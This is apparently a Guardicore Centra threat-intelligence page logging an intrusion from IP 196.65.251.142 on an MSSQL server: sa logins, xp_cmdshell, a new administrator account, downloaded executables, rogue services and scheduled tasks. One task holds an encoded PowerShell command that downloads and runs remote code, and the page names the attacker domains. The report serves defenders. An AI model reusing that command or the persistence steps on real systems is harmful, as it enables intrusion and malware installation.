IP Address: 196.65.251.142Previously Malicious

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IP Address:
196.65.251.142​
Previously Malicious

This IP address attempted an attack on a machine protected by Guardicore Centra

Threat Information

Role

Attacker, Scanner

Services Targeted

MSSQL

Tags

Execute MsSql Shell Command Listening IDS - Attempted User Privilege Gain File Operation By CMD User Added to Group Service Creation Download File System File Modification SMB Share Connect Service Deletion Access Suspicious Domain Download and Execute Persistency - Logon MSSQL Successful MSSQL Login Successful SMB Login SMB Service Configuration CMD User Removed DNS Query PowerShell Service Stop Service Start User Created Scheduled Task Creation

Associated Attack Servers

ii.haqo.net dl.haqo.net

Basic Information

IP Address

196.65.251.142

Domain

-

ISP

Maroc Telecom

Country

Morocco

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Guardicore Centra

2020-04-04

Last seen in Guardicore Centra

2020-04-04

What is Guardicore Centra
Guardicore Centra is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Centra generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

IDS detected Attempted User Privilege Gain : SQL sp_configure - configuration change

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : sp_password - password change

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : xp_cmdshell - program execution

IDS - Attempted User Privilege Gain

A user logged in using MSSQL with the following credentials: sa / ****** - Authentication policy: White List

Successful MSSQL Login

A user logged in using MSSQL with the following credentials: sa / ****** - Authentication policy: Previously Approved User

Successful MSSQL Login

MSSQL executed 1 shell commands

Execute MsSql Shell Command

User k8h3d was created with the password *********** added to groups: Administrators and logged in using SMB

User Created User Added to Group Successful SMB Login

A user logged in using SMB with the following username: k8h3d - Authentication policy: Correct Password 4 times

Successful SMB Login

The file C:\Windows\zvpvUexL.exe was downloaded and executed

Download and Execute

c:\windows\system32\services.exe installed and started %systemroot%\zvpvuexl.exe as a service named kUDr under service group None

Service Start Service Creation

c:\windows\rwrl.exe was downloaded

Download File

Service kUDr was stopped

Service Stop

The file c:\windows\syswow64\drivers\svchost.exe was downloaded and executed 2 times

Download and Execute

System file c:\windows\rwrl.exe was modified

System File Modification

The file C:\Windows\Temp\ttt.exe was downloaded and executed

Download and Execute

System file C:\Windows\AppCompat\Programs\Amcache.hve was modified 4 times

System File Modification

c:\windows\temp\ttt.exe set the command line c:\windows\SysWOW64\wmiex.exe to run using Persistency - Logon

Persistency - Logon

Process netsvcs Service Group started listening on ports: 65531, 65532 and 65533

Listening

The file C:\Windows\Temp\svchost.exe was downloaded and executed 4 times

Download and Execute

Process c:\windows\temp\svchost.exe started listening on ports: 60124

Listening

System file C:\Windows\Temp\svchost.exe was modified

System File Modification

c:\windows\system32\services.exe installed and started c:\windows\syswow64\wmiex.exe as a service named WebServers under service group None

Service Start Service Creation

Process c:\windows\syswow64\wmiex.exe attempted to access suspicious domains: ii.haqo.net

Access Suspicious Domain DNS Query

Process c:\windows\syswow64\certutil.exe attempted to access suspicious domains: dl.haqo.net

Access Suspicious Domain DNS Query

The command line c:\windows\temp\svchost.exe was scheduled to run by modifying C:\Windows\System32\Tasks\DnsScan

The command line powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA= was scheduled to run by modifying C:\Windows\System32\Tasks\Microsoft\Windows\Bluetooths

The command line cmd.exe /c c:\windows\SysWOW64\wmiex.exe was scheduled to run by modifying C:\Windows\System32\Tasks\WebServers

c:\windows\temp\setupinstalled.exe set the command line c:\windows\SysWOW64\drivers\svchost.exe to run using Persistency - Logon

Persistency - Logon

c:\windows\system32\services.exe installed and started c:\windows\syswow64\drivers\svchost.exe as a service named Ddriver under service group None

Service Start Service Creation

The command line C:\Windows\pPFKg.exe was scheduled to run by modifying C:\Windows\System32\Tasks\pPFKg

PowerShell session started by c:\windows\system32\windowspowershell\v1.0\powershell.exe

The command line c:\windows\RWrL.exe was scheduled to run by modifying C:\Windows\System32\Tasks\fMNBDuEy

Process c:\windows\syswow64\drivers\svchost.exe started listening on ports: 65533

Listening

Process c:\windows\temp\svchost.exe started listening on ports: 60124

Listening

Connection was closed due to timeout

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IP Address: 196.65.251.142​Previously Malicious